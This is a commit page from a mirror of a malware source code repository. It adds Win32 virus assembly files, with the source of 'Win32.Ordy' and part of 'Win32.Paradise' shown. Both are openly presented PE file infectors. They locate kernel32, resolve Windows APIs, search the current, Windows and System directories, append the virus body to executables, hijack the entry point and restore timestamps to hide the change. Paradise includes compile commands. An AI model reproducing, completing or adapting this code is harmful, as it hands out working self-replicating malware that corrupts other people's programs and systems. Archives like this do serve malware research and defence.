mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 17:36:11 +00:00
Add files via upload
This commit is contained in:
parent
3cac606e5f
commit
e6e7892f53
2420
Win32/Win32.Norther.ASM
Normal file
2420
Win32/Win32.Norther.ASM
Normal file
File diff suppressed because it is too large
Load Diff
2123
Win32/Win32.Omoikane.asm
Normal file
2123
Win32/Win32.Omoikane.asm
Normal file
File diff suppressed because it is too large
Load Diff
1037
Win32/Win32.Orange.asm
Normal file
1037
Win32/Win32.Orange.asm
Normal file
File diff suppressed because it is too large
Load Diff
428
Win32/Win32.Ordy.asm
Normal file
428
Win32/Win32.Ordy.asm
Normal file
@ -0,0 +1,428 @@
|
||||
|
||||
comment "
|
||||
Win32.ordy by mort[MATRiX]
|
||||
- simple direct action current dir last section PE appender
|
||||
- using ordinal API values to access API
|
||||
|
||||
Well, in viriis there's mostly use some stuff to find APIs no matter
|
||||
of kernel32.dll type,... I use APIs' ordinal values to access APIs.
|
||||
API's address is counted right before it's used,...
|
||||
When i searched for this values in different versions of widows,
|
||||
i found they differ, so i included all ord values i was able to find.
|
||||
U find them in ord.zip file in tools section.
|
||||
I cant test thiss virii on all windoze versions. This one seems to be
|
||||
good under win2k, anyway if u wanna run it under another, recheck
|
||||
API's count,...
|
||||
|
||||
greetz All who helped me to create ordinal log
|
||||
MiCr0s0fT - i founded my CreateFileA API DF sensitive,...
|
||||
r there more? :)))
|
||||
"
|
||||
|
||||
|
||||
.486
|
||||
.model flat,stdcall
|
||||
|
||||
extrn ExitProcess : proc
|
||||
extrn MessageBoxA : proc
|
||||
|
||||
filetime struc
|
||||
FT_dwLowDateTime dd ?
|
||||
FT_dwHighDateTime dd ?
|
||||
filetime ends
|
||||
fileSearch struc
|
||||
FileAttributes dd ?
|
||||
CreationTime filetime ?
|
||||
LastAccessTime filetime ?
|
||||
LastWriteTime filetime ?
|
||||
FileSizeHigh dd ?
|
||||
FileSizeLow dd ?
|
||||
Reserved0 dd ?
|
||||
Reserved1 dd ?
|
||||
FileName db 0260h dup(?)
|
||||
AlternateFileName db 13 dup(?)
|
||||
db 3 dup(?)
|
||||
fileSearch ends
|
||||
|
||||
_vSize = ((@retAdd - @ordy) / 0200h + 1) * 0200h
|
||||
_DEBUG = 0
|
||||
|
||||
.data
|
||||
dd ?
|
||||
|
||||
.code
|
||||
@ordy:
|
||||
mov eax,@retAdd - @ordy
|
||||
push offset @retAdd
|
||||
_retAddress equ $ - 4
|
||||
|
||||
pushad
|
||||
call @SEH
|
||||
|
||||
add esp,8
|
||||
mov esp,[esp]
|
||||
pop dword ptr fs:[0]
|
||||
pop eax
|
||||
popad
|
||||
ret
|
||||
|
||||
if _DEBUG
|
||||
db 01000h dup(0) ;coz of debug symbols,...:(
|
||||
endif
|
||||
|
||||
@SEH:
|
||||
push dword ptr fs:[0]
|
||||
mov dword ptr fs:[0],esp
|
||||
|
||||
xor eax,eax
|
||||
call @findKernel
|
||||
@delta label
|
||||
|
||||
mov ebp,[esp - 4] ;get delta handle
|
||||
|
||||
mov [ebp + _kBase - @delta],eax
|
||||
|
||||
mov ebx,eax ;get kernel values,...
|
||||
add eax,dword ptr [eax + 03ch]
|
||||
add eax,078h
|
||||
mov eax,[eax]
|
||||
add eax,ebx
|
||||
add eax,018h
|
||||
xchg eax,esi
|
||||
lodsd
|
||||
push eax
|
||||
lodsd
|
||||
add eax,ebx
|
||||
mov [ebp + _addBase - @delta],eax
|
||||
pop eax
|
||||
|
||||
lea edi,[ebp + _ordinals - @delta - (_ordEnd - _ordStart - 2)]
|
||||
|
||||
@nextOrdinal:
|
||||
add edi,(_ordEnd - _ordStart) - 2
|
||||
scasw
|
||||
jnz @nextOrdinal
|
||||
mov [ebp + _ordinalBase - @delta],edi
|
||||
|
||||
push 02000h
|
||||
push 040h
|
||||
mov eax,_GlobalAlloc
|
||||
call @callAPI
|
||||
push eax ;for GlobalFree
|
||||
|
||||
push eax
|
||||
call @mask
|
||||
db '*.*',0
|
||||
@mask:
|
||||
mov eax,_FindFirstFileA
|
||||
call @callAPI
|
||||
xchg eax,esi
|
||||
|
||||
@examine:
|
||||
mov eax,[esp]
|
||||
mov al,byte ptr [eax + FileAttributes]
|
||||
and al,010h
|
||||
cmp al,010h
|
||||
jnz @fileFounded
|
||||
|
||||
@nextFile:
|
||||
push dword ptr [esp]
|
||||
push esi
|
||||
mov eax,_FindNextFileA
|
||||
call @callAPI
|
||||
dec eax
|
||||
jz @examine
|
||||
|
||||
mov eax,_GlobalFree
|
||||
call @callAPI
|
||||
|
||||
xor eax,eax
|
||||
sub eax,[esp + 030h] ;cause exception
|
||||
|
||||
@findKernel:
|
||||
add eax,[esp + 030h]
|
||||
and eax,0fffff000h
|
||||
|
||||
@nextPage:
|
||||
sub eax,01000h
|
||||
cmp word ptr [eax],'ZM'
|
||||
jnz @nextPage
|
||||
ret
|
||||
;------------------------------------------------------------------------
|
||||
@rw:
|
||||
; edi - file handle
|
||||
; eax - ReadFile/WriteFile
|
||||
; edx - buffer
|
||||
; ecx - size
|
||||
|
||||
pushad
|
||||
push 0
|
||||
call @fw
|
||||
dd ?
|
||||
@fw:
|
||||
push ecx edx edi
|
||||
call @callAPI
|
||||
popad
|
||||
ret
|
||||
|
||||
;------------------------------------------------------------------------
|
||||
@fileFounded:
|
||||
if _DEBUG
|
||||
mov eax,[esp]
|
||||
cmp dword ptr [eax + FileName],'SOHG'
|
||||
jz @oki
|
||||
jmp @nextFile
|
||||
@oki:
|
||||
endif
|
||||
|
||||
mov ebx,[esp]
|
||||
mov eax,[ebx + FileSizeLow]
|
||||
cmp eax,04000h
|
||||
jb @nextFile
|
||||
|
||||
mov eax,dword ptr [ebx + FileName]
|
||||
and dword ptr [ebx + LastWriteTime],eax
|
||||
jz @nextFile
|
||||
or dword ptr [ebx + LastWriteTime],eax
|
||||
|
||||
mov edx,_ReadFile
|
||||
xchg eax,ebx
|
||||
add eax,01000h
|
||||
xchg eax,edx
|
||||
call @openRW
|
||||
|
||||
push edx
|
||||
push edi
|
||||
mov eax,_CloseHandle
|
||||
call @callAPI
|
||||
|
||||
pop edx
|
||||
|
||||
cld
|
||||
mov edi,edx
|
||||
mov eax,'EPZM'
|
||||
scasw
|
||||
jnz @nextFile
|
||||
shr eax,010h
|
||||
std
|
||||
add edi,dword ptr [edi + 03ah]
|
||||
scasw
|
||||
scasw
|
||||
jnz @nextFile
|
||||
|
||||
mov eax,[edi + 076h]
|
||||
shl eax,3
|
||||
add eax,052h
|
||||
xchg eax,ebx
|
||||
movzx eax,word ptr [edi + 8]
|
||||
imul eax,028h
|
||||
xadd ebx,eax
|
||||
|
||||
mov eax,_vSize
|
||||
add [edi + 052h],eax ;add imagesize
|
||||
xadd [ebx + edi + 010h],eax ;eax - old size
|
||||
push eax
|
||||
add eax,[ebx + edi + 014h] ;add phys. offset
|
||||
mov [ebp + _virBodyPofs - @delta],eax
|
||||
pop eax
|
||||
add eax,[ebx + edi + 0ch]
|
||||
xchg eax,[edi + 02ah] ;set/get entrypoint
|
||||
add eax,[edi + 036h]
|
||||
mov [ebp + _retAddress - @delta],eax ;set it,...
|
||||
add dword ptr [ebx + edi + 08h],01000h ;add virtual size
|
||||
or dword ptr [ebx + edi + 024h],0a0000020h
|
||||
|
||||
lea eax,[ebp + @finalInfection - @delta]
|
||||
push eax
|
||||
mov eax,_WriteFile
|
||||
|
||||
@openRW:
|
||||
mov ecx,01000h
|
||||
|
||||
cld ;coz of CreateFileA DF sensitivity,...:)))
|
||||
call @open
|
||||
call @rw
|
||||
ret
|
||||
|
||||
;------------------------------------------------------------------------
|
||||
@setA:
|
||||
push ebx
|
||||
push eax
|
||||
mov eax,_SetFileAttributesA
|
||||
call @callAPI
|
||||
ret
|
||||
|
||||
;-----------------------------------------------------------------------
|
||||
_CloseHandle = 0 ;API handles
|
||||
_CreateFileA = 2
|
||||
_GlobalAlloc = 4
|
||||
_GlobalFree = 6
|
||||
_WriteFile = 8
|
||||
_ReadFile = 0ah
|
||||
_FindFirstFileA = 0ch
|
||||
_FindNextFileA = 0eh
|
||||
_SetEndOfFile = 010h
|
||||
_SetFileTime = 012h
|
||||
_SetFileAttributesA = 014h
|
||||
|
||||
_ordSize equ _ordEnd - _ordStart
|
||||
;shl 2
|
||||
_ordinals label
|
||||
|
||||
_ordStart label
|
||||
_ordinals95 label
|
||||
dw 0682 ;APIs num
|
||||
dw 088h * 4 ;CloseHandle
|
||||
dw 09dh * 4 ;CreateFileA
|
||||
dw 01b5h * 4 ;GlobalAlloc
|
||||
dw 01bch * 4 ;GlobalFree
|
||||
dw 02e3h * 4 ;WriteFile
|
||||
dw 0242h * 4 ;ReadFile
|
||||
dw 0f9h * 4 ;FindFirstFileA
|
||||
dw 0fch * 4 ;FindNextFile
|
||||
dw 0281h * 4 ;SetEndOfFile
|
||||
dw 028bh * 4 ;SetFileTime
|
||||
dw 0288h * 4 ;SetFileAttributesA
|
||||
_ordEnd label
|
||||
|
||||
_ordinals98 label ;(r1,SE)
|
||||
dw 0745 ;APIs num
|
||||
dw 09fh * 4 ;CloseHandle
|
||||
dw 0b8h * 4 ;CreateFileA
|
||||
dw 01e5h * 4 ;GlobalAlloc
|
||||
dw 01ech * 4 ;GlobalFree
|
||||
dw 0335h * 4 ;WriteFile
|
||||
dw 027dh * 4 ;ReadFile
|
||||
dw 011bh * 4 ;FindFirstFileA
|
||||
dw 0120h * 4 ;FindNextFile
|
||||
dw 02c5h * 4 ;SetEndOfFile
|
||||
dw 02cfh * 4 ;SetFileTime
|
||||
dw 02cch * 4 ;SetFileAttributesA
|
||||
|
||||
_ordinalsNT label
|
||||
dw 02a1h ;APIs num
|
||||
dw 018h * 4 ;CloseHandle
|
||||
dw 031h * 4 ;CreateFileA
|
||||
dw 0155h * 4 ;GlobalAlloc
|
||||
dw 015ch * 4 ;GlobalFree
|
||||
dw 027bh * 4 ;WriteFile
|
||||
dw 01d6h * 4 ;ReadFile
|
||||
dw 082h * 4 ;FindFirstFileA
|
||||
dw 087h * 4 ;FindNextFile
|
||||
dw 0210h * 4 ;SetEndOfFile
|
||||
dw 021ah * 4 ;SetFileTime
|
||||
dw 0217h * 4 ;SetFileAttributesA
|
||||
|
||||
_ordinals2k label
|
||||
dw 0337h ;APIs num
|
||||
dw 01eh * 4 ;CloseHandle
|
||||
dw 037h * 4 ;CreateFileA
|
||||
dw 019ch * 4 ;GlobalAlloc
|
||||
dw 01a3h * 4 ;GlobalFree
|
||||
dw 030eh * 4 ;WriteFile
|
||||
dw 023dh * 4 ;ReadFile
|
||||
dw 0a3h * 4 ;FindFirstFileA
|
||||
dw 0ach * 4 ;FindNextFile
|
||||
dw 028ch * 4 ;SetEndOfFile
|
||||
dw 0297h * 4 ;SetFileTime
|
||||
dw 0293h * 4 ;SetFileAttributesA
|
||||
|
||||
;------------------------------------------------------------------------
|
||||
@open:
|
||||
;eax - filename
|
||||
pushad
|
||||
mov eax,[esp + 028h]
|
||||
add eax,FileName
|
||||
push 0 0 3 0 1
|
||||
push 080000000h or 040000000h
|
||||
push eax
|
||||
|
||||
mov ebx,020h
|
||||
call @setA
|
||||
|
||||
mov eax,_CreateFileA
|
||||
call @callAPI
|
||||
mov [esp],eax ;handle to edi
|
||||
popad
|
||||
ret
|
||||
|
||||
;-------------------------------------------------------
|
||||
;eax - API handle
|
||||
@callAPI:
|
||||
pop edi
|
||||
add eax,012345678h
|
||||
_ordinalBase equ $ - 4
|
||||
movzx eax,word ptr [eax]
|
||||
add eax,012345678h
|
||||
_addBase equ $ - 4
|
||||
mov eax,[eax]
|
||||
add eax,012345678h
|
||||
_kBase equ $ - 4
|
||||
call eax
|
||||
jmp edi
|
||||
;----------------------------------------------------------------
|
||||
@finalInfection:
|
||||
mov eax,012345678h
|
||||
_virBodyPofs equ $ - 4
|
||||
sub eax,01000h
|
||||
push eax
|
||||
mov eax,_ReadFile
|
||||
xor ecx,ecx
|
||||
inc ecx
|
||||
|
||||
@nextByte2Seek:
|
||||
call @rw
|
||||
dec dword ptr [esp]
|
||||
jnz @nextByte2Seek
|
||||
pop eax
|
||||
|
||||
mov ecx,_vSize
|
||||
lea edx,[ebp + @ordy - @delta]
|
||||
add eax,_WriteFile
|
||||
call @rw
|
||||
|
||||
push esi
|
||||
|
||||
push edi edi
|
||||
mov eax,_SetEndOfFile
|
||||
call @callAPI
|
||||
|
||||
mov ebx,[esp]
|
||||
mov eax,[esp + 0ch]
|
||||
add eax,LastWriteTime
|
||||
push eax
|
||||
sub eax,8
|
||||
push eax
|
||||
sub eax,8
|
||||
push eax
|
||||
push ebx
|
||||
mov eax,_SetFileTime
|
||||
call @callAPI
|
||||
|
||||
mov eax,_CloseHandle
|
||||
call @callAPI
|
||||
|
||||
mov ebx,[esp + 4]
|
||||
mov eax,[ebx + FileAttributes]
|
||||
xchg eax,ebx
|
||||
add eax,FileName
|
||||
call @setA
|
||||
|
||||
pop esi ;restore search handle
|
||||
|
||||
@fuckFile:
|
||||
jmp @nextFile
|
||||
|
||||
@retAdd:
|
||||
push 0
|
||||
call @title
|
||||
db '.ordy by mort[MATRiX]',0
|
||||
@title:
|
||||
call @mess
|
||||
db 'hey guys, CreateFileA API is DF sensitive!!! :)))',0
|
||||
@mess:
|
||||
push 0
|
||||
call MessageBoxA
|
||||
call ExitProcess,0
|
||||
ret
|
||||
end @ordy
|
823
Win32/Win32.Paradise.asm
Normal file
823
Win32/Win32.Paradise.asm
Normal file
@ -0,0 +1,823 @@
|
||||
; [Win32.Paradise] - Bugfixed and improved version of Iced Earth
|
||||
; Copyright (c) 1999 by Billy Belcebu/iKX
|
||||
;
|
||||
; ?????? Welcome to another Billy's production.
|
||||
; ???? ??????? ??? Enjoy this new...
|
||||
; ????????????????????
|
||||
; ? ???????????????? ???
|
||||
; ? ????????????? ?
|
||||
; ??????? ?? ?????? ??? ??? ????? ??? ??? ?????? ??????
|
||||
; ??????? ?? ?? ???? ? ??? ? ?? ?? ? ??? ? ??????? ???????
|
||||
; ? ? ?? ? ? ??? ? ?? ?? ? ??? ? ??????? ??????? ???
|
||||
; ?? ??????? ????? ??????? ??????? ??????? ???
|
||||
; ?? ??? ??????? ??????? ??????? ??????? ?????? ????? ??????? ???????
|
||||
; ??????????? ? ??? ? ? ??? ? ? ??? ? ? ??? ? ? ?? ?? ?? ?? ? ????? ? ?????
|
||||
; ????? ?? ???? ? ????? ? ??? ? ? ? ??? ? ??? ? ? ??? ? ?? ?? ????? ? ? ?????
|
||||
; ??? ??? ??? ??????? ??? ??? ??????? ????? ??????? ???????
|
||||
;
|
||||
; Virus Name : Paradise
|
||||
; Virus Author : Billy Belcebu/iKX
|
||||
; Origin : Spain
|
||||
; Platform : Win32
|
||||
; Target : PE files
|
||||
; Compiling : TASM 5.0 and TLINK 5.0 should be used
|
||||
; tasm32 /ml /m3 paradise,,;
|
||||
; tlink32 /Tpe /aa /c /v paradise,paradise,,import32.lib,
|
||||
; Notes : Not very innovative, just made for practice some things, as
|
||||
; CRC32 GetAPI engine, and such like. The name comes from one
|
||||
; of the best songs i've ever heard, and probably my favouri-
|
||||
; te song of Stratovarius. Its lyrics are, sadly, an actual
|
||||
; reality: we are killing the nature slowly and without any
|
||||
; kind of mercy, thinking that we can make any use of every-
|
||||
; thing around without any responsability...
|
||||
; Greetings : It is very clear... to all the Stratovaius fans (specially
|
||||
; to Int13h and Owl) and all the ecologist activists.
|
||||
; Fucks : To everything related to the bullfights, the greatest act
|
||||
; of the human barbarism with the animals, the spanish's
|
||||
; national shame; and to all the acts that go againist the
|
||||
; rights of the animals and/or the vegetables, as well as
|
||||
; with the persons (goddamn fascisms!).
|
||||
;
|
||||
; Rojo, sangre
|
||||
; un color muy nacional
|
||||
; morbo, suerte
|
||||
; sol y arena pide Dios
|
||||
; arte, muerte
|
||||
; sirve de alimento
|
||||
; pase, valiente,
|
||||
; y vuelta al ruedo!!!
|
||||
; Cuando el acero me traspasa el corazon
|
||||
; y se le llama fiesta
|
||||
; y otra vuelta de tuerca
|
||||
; cuando el sadismo se convierte en tradicion
|
||||
; y la faena en gesta
|
||||
; y nadie se molesta
|
||||
; -Reincidentes-
|
||||
;
|
||||
|
||||
.586p
|
||||
.model flat
|
||||
|
||||
; ??----?????? ?
|
||||
; : Paradise virus - Data, macros and such like shit :
|
||||
; ? ??????---???
|
||||
|
||||
extrn MessageBoxA:PROC
|
||||
extrn ExitProcess:PROC
|
||||
|
||||
virus_size equ (offset virus_end-offset virus_start)
|
||||
heap_size equ (offset heap_end-offset heap_start)
|
||||
total_size equ virus_size+heap_size
|
||||
shit_size equ (offset delta-offset Paradise)
|
||||
section_flags equ 00000020h or 20000000h or 80000000h
|
||||
temp_attributes equ 00000080h
|
||||
n_infections equ 04h
|
||||
|
||||
mark equ 04Ch
|
||||
|
||||
; Only hardcoded for 1st generation, don't worry ;)
|
||||
|
||||
kernel_ equ 0BFF70000h
|
||||
kernel_wNT equ 077F00000h
|
||||
|
||||
; Interesting macros for my code
|
||||
|
||||
cmp_ macro reg,joff1 ; Optimized version of
|
||||
inc reg ; CMP reg,0FFFFFFFFh
|
||||
jz joff1 ; JZ joff1
|
||||
dec reg ; The code is reduced in 3
|
||||
endm ; bytes (7-4)
|
||||
|
||||
apicall macro apioff ; Optimize muthafucka!
|
||||
call dword ptr [ebp+apioff]
|
||||
endm
|
||||
|
||||
.data
|
||||
|
||||
szTitle db "Paradise v1.00",0
|
||||
|
||||
szMessage db "Paradise - Visions - Stratovarius",10
|
||||
db "Virus size............"
|
||||
db virus_size/1000 mod 10 + "0"
|
||||
db virus_size/0100 mod 10 + "0"
|
||||
db virus_size/0010 mod 10 + "0"
|
||||
db virus_size/0001 mod 10 + "0"
|
||||
db " bytes",0
|
||||
db "Copyright (c) 1999 by Billy Belcebu/iKX",0
|
||||
|
||||
.code
|
||||
|
||||
; ??----?????? ?
|
||||
; : Paradise virus - Virus startz here :
|
||||
; ? ??????---???
|
||||
|
||||
virus_start label byte
|
||||
|
||||
Paradise:
|
||||
pushad ; Push all da shit
|
||||
pushfd
|
||||
|
||||
call delta_ ; Hardest code to undestand ;)
|
||||
delta: db "[iKX4EVER" ; Yeah... iKX :)
|
||||
delta_: pop ebp
|
||||
mov eax,ebp
|
||||
sub ebp,offset delta
|
||||
|
||||
sub eax,shit_size ; Obtain at runtime the
|
||||
sub eax,00001000h ; imagebase of the process
|
||||
NewEIP equ $-4
|
||||
mov dword ptr [ebp+ModBase],eax
|
||||
|
||||
call ChangeSEH ; SEH rlz :)
|
||||
mov esp,[esp+08h]
|
||||
jmp RestoreSEH
|
||||
ChangeSEH:
|
||||
xor ebx,ebx
|
||||
push dword ptr fs:[ebx]
|
||||
mov fs:[ebx],esp
|
||||
|
||||
mov esi,[esp+2Ch] ; Get program return address
|
||||
and esi,0FFFF0000h ; Align to page
|
||||
mov ecx,5
|
||||
call GetK32
|
||||
|
||||
mov dword ptr [ebp+kernel],eax ; EAX must be K32 base address
|
||||
|
||||
lea esi,[ebp+@@NamezCRC32]
|
||||
lea edi,[ebp+@@Offsetz]
|
||||
call GetAPIs ; Retrieve all APIs
|
||||
|
||||
call PrepareInfection
|
||||
call InfectItAll
|
||||
call payload
|
||||
|
||||
or ebp,ebp ; Is 1st gen?
|
||||
jz fakehost
|
||||
|
||||
RestoreSEH:
|
||||
xor ebx,ebx
|
||||
pop dword ptr fs:[ebx]
|
||||
pop eax
|
||||
|
||||
popfd
|
||||
popad
|
||||
|
||||
mov ebx,12345678h
|
||||
org $-4
|
||||
OldEIP dd 00001000h
|
||||
|
||||
add ebx,12345678h
|
||||
org $-4
|
||||
ModBase dd 00400000h
|
||||
|
||||
push ebx
|
||||
ret
|
||||
|
||||
; ??----?????? ?
|
||||
; : Paradise virus - Retrieve directories to infect :
|
||||
; ? ??????---???
|
||||
|
||||
PrepareInfection:
|
||||
lea edi,[ebp+WindowsDir]
|
||||
push 7Fh
|
||||
push edi
|
||||
apicall _GetWindowsDirectoryA
|
||||
|
||||
add edi,7Fh
|
||||
push 7Fh
|
||||
push edi
|
||||
apicall _GetSystemDirectoryA
|
||||
|
||||
add edi,7Fh
|
||||
push edi
|
||||
push 7Fh
|
||||
apicall _GetCurrentDirectoryA
|
||||
ret
|
||||
|
||||
; ??----?????? ?
|
||||
; : Paradise virus - Infect windows, windows\system and the current dir :
|
||||
; ? ??????---???
|
||||
|
||||
InfectItAll:
|
||||
lea edi,[ebp+directories]
|
||||
mov byte ptr [ebp+mirrormirror],dirs2inf
|
||||
requiem:
|
||||
push edi
|
||||
apicall _SetCurrentDirectoryA
|
||||
|
||||
push edi
|
||||
call Infect
|
||||
pop edi
|
||||
|
||||
add edi,7Fh
|
||||
|
||||
dec byte ptr [ebp+mirrormirror]
|
||||
cmp byte ptr [ebp+mirrormirror],00h
|
||||
jnz requiem
|
||||
|
||||
ret
|
||||
|
||||
; ??----?????? ?
|
||||
; : Paradise virus - Searching... Seek and infect! :
|
||||
; ? ??????---???
|
||||
|
||||
Infect: and dword ptr [ebp+infections],00000000h ; reset countah
|
||||
lea eax,[ebp+offset WIN32_FIND_DATA] ; Find's shit
|
||||
push eax
|
||||
lea eax,[ebp+offset EXE_MASK]
|
||||
push eax
|
||||
|
||||
apicall _FindFirstFileA
|
||||
cmp_ eax,FailInfect
|
||||
|
||||
mov dword ptr [ebp+SearchHandle],eax
|
||||
|
||||
__1: push dword ptr [ebp+ModBase]
|
||||
push dword ptr [ebp+OldEIP]
|
||||
push dword ptr [ebp+NewEIP]
|
||||
|
||||
call Infection
|
||||
|
||||
pop dword ptr [ebp+NewEIP]
|
||||
pop dword ptr [ebp+OldEIP]
|
||||
pop dword ptr [ebp+ModBase]
|
||||
|
||||
inc byte ptr [ebp+infections]
|
||||
cmp byte ptr [ebp+infections],n_infections
|
||||
jz FailInfect
|
||||
|
||||
__2: lea edi,[ebp+WFD_szFileName]
|
||||
mov ecx,MAX_PATH
|
||||
xor al,al
|
||||
rep stosb
|
||||
|
||||
lea eax,[ebp+offset WIN32_FIND_DATA]
|
||||
push eax
|
||||
push dword ptr [ebp+SearchHandle]
|
||||
apicall _FindNextFileA
|
||||
or eax,eax
|
||||
jz CloseSearchHandle
|
||||
jmp __1
|
||||
|
||||
CloseSearchHandle:
|
||||
push dword ptr [ebp+SearchHandle]
|
||||
apicall _FindClose
|
||||
|
||||
FailInfect:
|
||||
ret
|
||||
|
||||
; ??----?????? ?
|
||||
; : Paradise virus - Infect found file :
|
||||
; ? ??????---???
|
||||
|
||||
Infection:
|
||||
lea esi,[ebp+WFD_szFileName] ; Get FileName to infect
|
||||
push 80h
|
||||
push esi
|
||||
apicall _SetFileAttributesA ; Wipe its attributes
|
||||
|
||||
call OpenFile ; Open it
|
||||
|
||||
cmp_ eax,CantOpen
|
||||
|
||||
mov dword ptr [ebp+FileHandle],eax
|
||||
|
||||
mov ecx,dword ptr [ebp+WFD_nFileSizeLow] ; 1st we create map with
|
||||
call CreateMap ; its exact size
|
||||
cmp_ eax,CloseFile
|
||||
|
||||
mov dword ptr [ebp+MapHandle],eax
|
||||
|
||||
mov ecx,dword ptr [ebp+WFD_nFileSizeLow]
|
||||
call MapFile ; Map it
|
||||
cmp_ eax,UnMapFile
|
||||
|
||||
mov dword ptr [ebp+MapAddress],eax
|
||||
|
||||
mov esi,eax ; Get PE Header
|
||||
mov esi,[esi+3Ch]
|
||||
add esi,eax
|
||||
cmp dword ptr [esi],"EP" ; Is it PE?
|
||||
jnz NoInfect
|
||||
|
||||
cmp dword ptr [esi+mark],"SDRP" ; Was it infected?
|
||||
jz NoInfect
|
||||
|
||||
push dword ptr [esi+3Ch]
|
||||
|
||||
push dword ptr [ebp+MapAddress] ; Close all
|
||||
apicall _UnmapViewOfFile
|
||||
|
||||
push dword ptr [ebp+MapHandle]
|
||||
apicall _CloseHandle
|
||||
|
||||
pop ecx
|
||||
|
||||
mov eax,dword ptr [ebp+WFD_nFileSizeLow] ; And Map all again.
|
||||
add eax,virus_size
|
||||
|
||||
call Align
|
||||
xchg ecx,eax
|
||||
|
||||
call CreateMap
|
||||
cmp_ eax,CloseFile
|
||||
|
||||
mov dword ptr [ebp+MapHandle],eax
|
||||
|
||||
mov ecx,dword ptr [ebp+NewSize]
|
||||
call MapFile
|
||||
cmp_ eax,UnMapFile
|
||||
|
||||
mov dword ptr [ebp+MapAddress],eax
|
||||
|
||||
mov esi,eax ; Get PE Header
|
||||
mov esi,[esi+3Ch]
|
||||
add esi,eax
|
||||
|
||||
mov edi,esi
|
||||
|
||||
movzx eax,word ptr [edi+06h]
|
||||
dec eax
|
||||
imul eax,eax,28h
|
||||
add esi,eax
|
||||
add esi,78h
|
||||
mov edx,[edi+74h]
|
||||
shl edx,3
|
||||
add esi,edx
|
||||
|
||||
mov eax,[edi+28h]
|
||||
mov dword ptr [ebp+OldEIP],eax
|
||||
|
||||
mov edx,[esi+10h]
|
||||
mov ebx,edx
|
||||
add edx,[esi+14h]
|
||||
|
||||
push edx
|
||||
|
||||
mov eax,ebx
|
||||
add eax,[esi+0Ch]
|
||||
mov [edi+28h],eax
|
||||
mov dword ptr [ebp+NewEIP],eax
|
||||
|
||||
mov eax,[esi+10h]
|
||||
add eax,virus_size
|
||||
mov ecx,[edi+3Ch]
|
||||
call Align
|
||||
|
||||
mov [esi+10h],eax
|
||||
mov [esi+08h],eax
|
||||
|
||||
pop edx
|
||||
|
||||
mov eax,[esi+10h]
|
||||
add eax,[esi+0Ch]
|
||||
mov [edi+50h],eax
|
||||
|
||||
or dword ptr [esi+24h],section_flags
|
||||
mov dword ptr [edi+mark],"SDRP"
|
||||
|
||||
lea esi,[ebp+Paradise]
|
||||
xchg edi,edx
|
||||
add edi,dword ptr [ebp+MapAddress]
|
||||
mov ecx,virus_size
|
||||
rep movsb
|
||||
|
||||
jmp UnMapFile
|
||||
|
||||
NoInfect:
|
||||
dec byte ptr [ebp+infections]
|
||||
mov ecx,dword ptr [ebp+WFD_nFileSizeLow]
|
||||
call TruncFile
|
||||
|
||||
UnMapFile:
|
||||
push dword ptr [ebp+MapAddress]
|
||||
apicall _UnmapViewOfFile
|
||||
|
||||
CloseMap:
|
||||
push dword ptr [ebp+MapHandle]
|
||||
apicall _CloseHandle
|
||||
|
||||
CloseFile:
|
||||
push dword ptr [ebp+FileHandle]
|
||||
apicall _CloseHandle
|
||||
|
||||
CantOpen:
|
||||
push dword ptr [ebp+WFD_dwFileAttributes]
|
||||
lea eax,[ebp+WFD_szFileName]
|
||||
push eax
|
||||
apicall _SetFileAttributesA
|
||||
ret
|
||||
|
||||
; ??----?????? ?
|
||||
; : Paradise virus - Get KERNEL32.DLL base address (simplest method) :
|
||||
; ? ??????---???
|
||||
|
||||
GetK32 proc
|
||||
_@1: jecxz WeFailed
|
||||
cmp word ptr [esi],"ZM"
|
||||
jz CheckPE
|
||||
_@2: sub esi,10000h
|
||||
dec ecx
|
||||
jmp _@1
|
||||
CheckPE:
|
||||
mov edi,[esi+3Ch]
|
||||
add edi,esi
|
||||
cmp dword ptr [edi],"EP"
|
||||
jz WeGotK32
|
||||
jmp _@2
|
||||
WeFailed:
|
||||
mov ecx,cs
|
||||
xor cl,cl
|
||||
jecxz WeAreInWNT
|
||||
mov esi,kernel_
|
||||
jmp WeGotK32
|
||||
WeAreInWNT:
|
||||
mov esi,kernel_wNT
|
||||
WeGotK32:
|
||||
xchg eax,esi
|
||||
ret
|
||||
GetK32 endp
|
||||
|
||||
; ??----?????? ?
|
||||
; : Paradise virus - Get all API addresses :
|
||||
; ? ??????---???
|
||||
|
||||
GetAPIs proc
|
||||
@@1: lodsd ; Get in EAX the CRC32 of API
|
||||
push esi
|
||||
push edi
|
||||
call GetAPI_ET_CRC32
|
||||
pop edi
|
||||
pop esi
|
||||
stosd ; Save in [EDI] the API address
|
||||
cmp byte ptr [esi],0BBh ; Last API?
|
||||
jz @@4 ; Yeah, get outta here
|
||||
jmp @@1 ; Nein, loop again
|
||||
@@4: ret
|
||||
GetAPIs endp
|
||||
|
||||
GetAPI_ET_CRC32 proc
|
||||
xor edx,edx
|
||||
xchg eax,edx ; Put CRC32 of da api in EDX
|
||||
mov word ptr [ebp+Counter],ax ; Reset counter
|
||||
mov esi,3Ch
|
||||
add esi,[ebp+kernel] ; Get PE header of KERNEL32
|
||||
lodsw
|
||||
add eax,[ebp+kernel] ; Normalize
|
||||
|
||||
mov esi,[eax+78h] ; Get a pointer to its
|
||||
add esi,1Ch ; Export Table
|
||||
add esi,[ebp+kernel]
|
||||
|
||||
lea edi,[ebp+AddressTableVA] ; Pointer to the address table
|
||||
lodsd ; Get AddressTable value
|
||||
add eax,[ebp+kernel] ; Normalize
|
||||
stosd ; And store in its variable
|
||||
|
||||
lodsd ; Get NameTable value
|
||||
add eax,[ebp+kernel] ; Normalize
|
||||
push eax ; Put it in stack
|
||||
stosd ; Store in its variable
|
||||
|
||||
lodsd ; Get OrdinalTable value
|
||||
add eax,[ebp+kernel] ; Normalize
|
||||
stosd ; Store
|
||||
|
||||
pop esi ; ESI = NameTable VA
|
||||
|
||||
@?_3: push esi ; Save again
|
||||
lodsd ; Get pointer to an API name
|
||||
add eax,[ebp+kernel] ; Normalize
|
||||
xchg edi,eax ; Store ptr in EDI
|
||||
mov ebx,edi ; And in EBX
|
||||
|
||||
push edi ; Save EDI
|
||||
xor al,al ; Reach the null character
|
||||
scasb ; that marks us the end of
|
||||
jnz $-1 ; the api name
|
||||
pop esi ; ESI = Pointer to API Name
|
||||
|
||||
sub edi,ebx ; EDI = API Name size
|
||||
|
||||
push edx ; Save API's CRC32
|
||||
call CRC32 ; Get actual api's CRC32
|
||||
pop edx ; Restore API's CRC32
|
||||
